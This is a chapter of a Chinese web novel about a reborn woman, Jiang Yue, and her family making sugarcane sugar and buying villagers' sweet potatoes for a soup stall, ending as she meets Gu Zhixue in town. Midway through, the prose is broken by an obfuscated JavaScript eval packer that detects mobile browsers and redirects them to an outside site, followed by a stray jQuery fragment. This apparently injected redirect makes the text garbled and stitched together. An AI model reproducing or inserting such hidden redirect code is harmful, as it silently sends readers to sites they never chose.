赵余意扛着20斤甘蔗去里正家，回来时只剩下一些甘蔗渣跟一桶甘蔗汁。
甘蔗渣晒干了可以烧火。
就是……石碾果然比不上榨汁机，20斤甘蔗只出了十三斤汁水。
接下来就是过滤，再熬煮至糖浆状，需要一直搅拌，反复撇沫，避免溢出或烧焦。
这一步只能让赵余意来，她力气不行。
趁这空档，她让人用陶土烧制了五个倒锥形模具，等糖糕变成褐色后，就倒入模具中，待其冷却成型后，在顶部挖出一个小凹槽，铺上稻草，再倒入黄泥水，用来给糖砖脱色。
等待期间，不少人从李程氏那得知，姜悦要买地瓜，觉得不靠谱，特地跑来他们家询问。
“远山娘，你真要花五文钱买地瓜啊？”王婶子疑惑问道，“这地瓜都是山上免费挖的，你家是都吃完了吗？咋地还要花钱买？”
姜悦笑着解释道：“王婶子，我是要买地瓜，但不止五文钱。
“你也知道，我做了点地瓜糖水到镇上卖，没成想真卖出去了。
“就是我们家的地瓜消耗得差不多，想着乡亲们特地背去镇上卖，来回一趟也累，不如卖给我，我也不让乡亲们吃亏，就还是按照乡亲们在镇上售卖的价钱购买。”
王婶子一听这话，脸上露出笑容。
她原先也是把地瓜背去镇上卖，就是镇上的人都不认识地瓜，真正来买的人并不多。
“那敢情好呀，你打算买多少斤？”
姜悦也不确定有多少人舍得拿出来卖，毕竟这年头粮食比银子重要。
“大家卖多少我收多少。”
李程氏一早就得知大家堵在赵家门口，怕姜悦几人被欺负，过来查看情况。
听完姜悦与大家说的话，连忙站出来，“就按照我与你们说的价钱来，一斤五文钱，要是削好皮送来的，每十斤多给两文钱。
“有想卖的，就来我这称重拿钱。”
姜悦这几天还要忙着制作白糖，有李程氏搭把手，她也能省点事。
两文钱村里人也不嫌少，几乎都是削了皮才送过来。
只不过也有贪便宜的，觉得削了皮就轻了，不肯削。
姜悦让李程氏连地瓜皮一起收了。
“那哪成？地瓜皮又不能做糖水，你买了就吃亏……”
李程氏一听就不赞同，哪有人专门花钱买这玩意？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971461|177763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽说村里人都会连带地瓜皮一起吃了，但姜悦买地瓜是为了做地瓜糖水的。
镇上人的嘴可比村里人挑多了。
“阿妗，地瓜皮我也有用，不亏。”
姜悦不想让乡亲们吃亏，再者，地瓜皮可以沃肥，也不算没用。
李程氏见她说得认真，也没再劝。
姜悦向来就不是个会让自己吃亏的性子。
估计是真有用。
姜悦舍不得花钱去买新的木桶，依旧一天只卖6桶糖水。
镇上几乎无人不知他们家的地瓜糖水跟清心丸。
“姜悦，真的是你！我还以为我认错人了！没想到你是地瓜糖水摊的老板！”
顾知雪一眼认出守在摊子前的人是姜悦。
姜悦见到她，拧了下眉。
她倒忘了，顾知雪是住在镇上的，镇上说大不大，想遇到还是很容易的。
上一世她到死才知道顾知雪的父亲是顾员外，但她娘只是顾员外养在外面的外室，以至于她也只是一个见不得人的私生女。
这件事她瞒得很好，别人会因为她的穿着、她的姓氏，怀疑她跟顾家有联系，却不可能直接去找顾家人对峙。